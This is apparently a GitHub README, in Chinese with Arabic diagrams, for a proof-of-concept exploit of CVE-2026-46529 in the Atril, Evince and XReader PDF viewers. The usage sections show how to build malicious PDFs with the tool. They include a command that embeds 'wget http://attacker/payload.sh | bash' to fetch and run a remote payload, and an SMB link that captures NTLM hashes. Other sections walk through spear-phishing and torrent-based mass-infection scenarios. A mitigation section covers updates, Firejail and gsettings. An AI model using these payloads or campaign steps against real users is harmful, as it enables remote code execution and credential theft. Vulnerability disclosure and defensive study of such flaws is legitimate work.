amnsecurity/CVE-2026-46529-Atril-PDF-RCE
GitHub: amnsecurity/CVE-2026-46529-Atril-PDF-RCE
针对 Atril、Evince 及 XReader 等 Linux PDF 阅读器 URI 处理缺陷(CVE-2026-46529)提供概念验证脚本与漏洞分析。
Stars: 1 | Forks: 0
# ─── CVE-2026-46529 ───
# 🏴 AMN SECURITY 🏴 ### 网络安全研究中心 | Cyber Security Research Center [](https://amn.amnoffsec.workers.dev/) [](https://www.instagram.com/ixctw) [](mailto:ayman.mahmoudoffsec@gmail.com)
# 🏴 AMN SECURITY 🏴 ### 网络安全研究中心 | Cyber Security Research Center [](https://amn.amnoffsec.workers.dev/) [](https://www.instagram.com/ixctw) [](mailto:ayman.mahmoudoffsec@gmail.com)
# ⚠️ ⚠️ Linux PDF 阅读器一键远程代码执行漏洞
### CVE-2026-46529 | CVSS 7.8 | 高危
### 📋 摘要
**Atril 文档查看器**(MATE Desktop 的默认 PDF 查看器)及其衍生项目 **Evince**(GNOME 查看器)和 **XReader**(Xfce 查看器)中存在严重的**一键远程代码执行**安全漏洞。该漏洞允许攻击者通过诱骗受害者点击 PDF 文件内的链接,在其设备上执行恶意代码。
该漏洞通过在 PDF 文档中嵌入恶意链接来触发。当点击该链接时,应用程序以不安全的方式解析 URI,从而允许以当前用户权限执行任意命令。
| 项目 | 详情 |
|--------|----------|
| **CVE** | CVE-2026-46529 |
| **CVSS v3.1** | 7.8 (High) |
| **向量** | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| **类型** | Remote Code Execution via Clickable Link |
| **产品** | Atril Document Viewer (MATE) |
| **受影响产品** | Atril < 1.26.3 / < 1.28.4, Evince, XReader flavours |
| **修复版本** | Atril 1.26.3 / 1.28.4 |
| **操作系统** | Linux (MATE, GNOME, Xfce Desktops) |
| **影响** | 以用户权限执行命令 |
### 🔍 漏洞详情
该漏洞利用了 Atril 文档查看器中的**链接处理机制**。当点击 PDF 文档中的链接时,Atril 会将 URI 传递给系统以打开。由于缺乏对链接的充分过滤,攻击者可以使用 `file://` 或 `ghelp://` 等危险协议创建链接,甚至直接执行命令。
#### 受影响产品
| 产品 | 桌面环境 | 受影响版本 |
|--------|----------------|-------------------|
| **Atril** | MATE Desktop | 1.26.3 和 1.28.4 之前 |
| **Evince** | GNOME Desktop | 早期版本 |
| **XReader** | Xfce Desktop | 早期版本 |
| **其他衍生版本** | 多种 | 使用相同库的版本 |
#### 漏洞机制
```
مستند PDF ضار
│
▼
رابط خبيث مضمن (Clickable Link)
│
▼
الضحية يفتح PDF وينقر على الرابط
│
▼
Atril يمرر URI إلى gtk_show_uri()
│
▼
النظام يفتح URI ← تنفيذ أوامر
│
▼
[اختراق جهاز الضحية]
```
#### 可能的恶意链接类型
| 链接类型 | 示例 | 影响 |
|-----------|--------|---------|
| **file://** | `file:///bin/bash` | 打开系统文件 |
| **ghelp://** | `ghelp://bash` | 打开系统帮助 |
| **command** | 嵌入的 shell 命令 | 执行命令 |
| **SMB** | `smb://attacker/share` | 通过 SMB 泄露数据 |
| **custom URI** | 自定义协议 | 利用其他应用程序 |
### 💥 攻击场景
```
┌─────────────────────────────────────────────────────────────┐
│ المهاجم (Attacker) │
│ │
│ 1. إنشاء PDF ضار برابط خبيث │
│ 2. إرسال PDF عبر البريد الإلكتروني / واتساب / تيليجرام │
│ 3. انتظار الضحية لفتح PDF والنقر على الرابط │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ الضحية (Victim) │
│ │
│ 1. يستلم PDF (يبدو وكأنه مستند عادي) │
│ 2. يفتحه في Atril / Evince / XReader │
│ 3. يقرأ المحتوى وينقر على رابط يبدو شرعياً │
│ 4. BOOM 💥 ← يتم تنفيذ الأمر دون إذن │
└─────────────────────────────────────────────────────────────┘
```
#### 恶意 PDF 示例
可以使用简单的工具创建恶意 PDF:
```
# 使用 Python 创建带有恶意链接的 PDF
python3 CVE-2026-46529.py -o exploit.pdf -u "file:///bin/sh"
# 或使用恶意 URL 执行命令
python3 CVE-2026-46529.py -o exploit.pdf -c "xterm"
```
### 🧪 工具使用
```
# 创建带有链接的恶意 PDF
python3 CVE-2026-46529.py -o malicious.pdf -u "file:///bin/bash"
# 启动 Terminal 的 PDF
python3 CVE-2026-46529.py -o exploit.pdf -c "xterm -e 'id > /tmp/pwned'"
# 包含 SMB 链接以窃取 NTLM hash 的 PDF
python3 CVE-2026-46529.py -o exfil.pdf -u "smb://attacker/share/file"
# 运行监听服务器 (Listener)
python3 CVE-2026-46529.py --listen -p 8080
# 通过电子邮件发送 PDF
python3 CVE-2026-46529.py -o report.pdf -c "wget http://attacker/payload.sh | bash"
```
#### 可用选项
| 选项 | 描述 |
|--------|-------|
| `-o, --output` | 输出的 PDF 文件名 |
| `-u, --uri` | 用于恶意链接的自定义 URI |
| `-c, --command` | 要执行的 Linux 命令 |
| `--listen` | 启动监听服务器 |
| `-p, --port` | 服务器端口(默认:8080) |
| `--no-preview` | 禁用 PDF 预览(用于缓解) |
| `-v, --verbose` | 显示详细输出 |
### 🛡️ 修复措施
| 措施 | 优先级 | 描述 |
|---------|----------|-------|
| **更新 PDF 查看器** | 🟢 立即 | 将 Atril 更新至 1.26.3 / 1.28.4 |
| **安装安全更新** | 🟢 紧急 | 同时更新 Evince 和 XReader |
| **启用链接保护** | 🟡 重要 | 在查看器中禁用自动打开链接 |
| **使用 Sandbox** | 🟡 重要 | 在隔离环境 中运行 PDF 查看器 |
| **安全意识培训** | 🔵 持续 | 培训用户不要点击 PDF 中的链接 |
| **替代 PDF 查看器** | 🟡 可选 | 使用 Okular 或 qpdfview 作为替代 |
#### 在隔离环境中运行 PDF 查看器
```
# 使用 Firejail 隔离 Atril
sudo apt install firejail
firejail atril document.pdf
# 或使用 Bubblewrap
bwrap --ro-bind / / --tmpfs /home --unshare-net atril document.pdf
```
#### 在 Evince 中禁用打开链接
```
# 通过 GSettings 禁用 Evince 中的链接打开功能
gsettings set org.gnome.Evince allow-links-change-zoom false
gsettings set org.gnome.Evince override-restriction false
```
### 📊 攻击场景
#### 定向攻击
```
المهاجم: يبحث عن ضحية في مؤسسة تستخدم Linux + MATE/GNOME
│
▼
المهاجم: يصمم PDF يبدو كتقرير رسمي أو فاتورة
│
▼
المهاجم: يرسل PDF عبر البريد الإلكتروني (Spear Phishing)
│
▼
الضحية: يفتح PDF ← ينقر على الرابط ← اختراق
│
▼
المهاجم: وصول أولي ← حركة جانبية ← استيلاء على الشبكة
```
#### 大规模攻击
```
المهاجم: ينشر PDF ضار على منصات التحميل / التورنت
│
▼
المهاجم: ينتظر المستخدمين لتحميل PDF
│
▼
كل من يفتحه في Atril/Evince/XReader يصاب
```
### 📚 参考
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-46529
- **MATE GitLab**: https://gitlab.com/mate-desktop/atril/-/issues/CVE-2026-46529
- **GNOME GitLab**: https://gitlab.gnome.org/GNOME/evince/-/issues/CVE-2026-46529
- **XFCE GitLab**: https://gitlab.xfce.org/apps/xreader/-/issues/CVE-2026-46529
### 🔗 联系 AMN SECURITY
[](https://amn.amnoffsec.workers.dev/)
[](https://www.instagram.com/ixctw)
[](mailto:ayman.mahmoudoffsec@gmail.com)
# ⚠️ CVE-2026-46529 — Atril/Evince/XReader PDF 可点击链接 RCE ### CVSS 7.8 | 高危 | 单击远程代码执行 ### 执行摘要 **CVE-2026-46529** 是 **Atril 文档查看器**(MATE 桌面默认的 PDF 阅读器)、**Evince**(GNOME)和 **XReader**(Xfce)中存在的一个严重的单击远程代码执行漏洞。该漏洞允许攻击者通过诱骗用户点击恶意 PDF 文档中的链接来执行任意代码。 该漏洞存在于 URI 处理机制中。当用户点击 PDF 中的链接时,Atril 会将 URI 传递给 `gtk_show_uri()` 而没有进行适当的过滤,这使得攻击者能够使用 `file://`、`ghelp://` 等危险协议或通过任意命令执行来构造恶意 URI。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-46529 | | **CVSS v3.1** | 7.8 (高危) | | **向量** | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H | | **类型** | 通过可点击链接的远程代码执行 | | **产品** | Atril 文档查看器 (MATE) | | **受影响版本** | Atril < 1.26.3 / < 1.28.4 | | **修复版本** | Atril 1.26.3 / 1.28.4 | | **影响** | 以用户权限执行代码 | ### 漏洞详情 当用户点击 PDF 中的链接时,Atril(及类似查看器)会通过 `gtk_show_uri()` 将 URI 传递给系统。如果没有适当的输入验证,攻击者可以使用危险的 URI scheme: | URI 类型 | 示例 | 影响 | |----------|---------|--------| | **file://** | `file:///bin/bash` | 打开系统文件 | | **ghelp://** | `ghelp://bash` | 打开帮助浏览器 | | **command** | 嵌入式 shell | 直接执行命令 | | **SMB** | `smb://attacker/share` | 捕获 NTLM 哈希 | ### 利用场景 ``` [Attacker] 1. Creates malicious PDF with embedded clickable link 2. Sends PDF via email/WhatsApp/Telegram 3. Waits for victim to open and click │ ▼ [Victim] 1. Receives PDF (looks like legitimate document) 2. Opens in Atril/Evince/XReader 3. Clicks on what appears to be a legitimate link 4. BOOM 💥 — command executes with user privileges ``` ### 工具用法 ``` # 创建带有链接的恶意 PDF python3 CVE-2026-46529.py -o malicious.pdf -u "file:///bin/bash" # 启动 terminal 的 PDF python3 CVE-2026-46529.py -o exploit.pdf -c "xterm -e 'id > /tmp/pwned'" # 包含 SMB 链接用于捕获 NTLM hash 的 PDF python3 CVE-2026-46529.py -o exfil.pdf -u "smb://attacker/share/file" # 启动 listener python3 CVE-2026-46529.py --listen -p 8080 ``` ### 修复措施 | 措施 | 优先级 | 描述 | |--------|----------|-------------| | **更新查看器** | 🔴 立即 | 将 Atril 更新至 1.26.3 / 1.28.4+ | | **应用安全更新** | 🔴 紧急 | 同时更新 Evince 和 XReader | | **禁用自动链接** | 🟡 重要 | 在查看器中禁用自动链接处理 | | **沙盒化查看器** | 🟡 重要 | 在 Firejail/Bubblewrap 中运行 PDF 查看器 | | **安全意识** | 🔵 持续 | 培训用户不要点击 PDF 中的链接 | #### 在沙盒中运行 ``` # 使用 Firejail sudo apt install firejail firejail atril document.pdf ``` #### 在 Evince 中禁用链接 ``` gsettings set org.gnome.Evince allow-links-change-zoom false gsettings set org.gnome.Evince override-restriction false ``` ### 攻击场景 #### 定向攻击 (Spear Phishing) 攻击者将 PDF 伪装成官方文件/发票 → 通过电子邮件发送 → 受害者点击 → 获取初始访问权限 → 横向移动 → 网络被入侵 #### 大规模攻击 攻击者将恶意 PDF 上传到种子网站/下载平台 → 等待下载 → 每个使用 Atril/Evince 打开该文件的用户都会被入侵 ### 参考 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-46529 - **MATE GitLab**: https://gitlab.com/mate-desktop/atril - **GNOME GitLab**: https://gitlab.gnome.org/GNOME/evince ### 联系 AMN SECURITY 🌐 **网站**: https://amn.amnoffsec.workers.dev/ 📸 **Instagram**: https://www.instagram.com/ixctw 📧 **邮箱**: ayman.mahmoudoffsec@gmail.com
标签:Go语言工具, PoC, RCE, 搜索语句(dork), 暴力破解, 漏洞分析, 路径探测, 逆向工具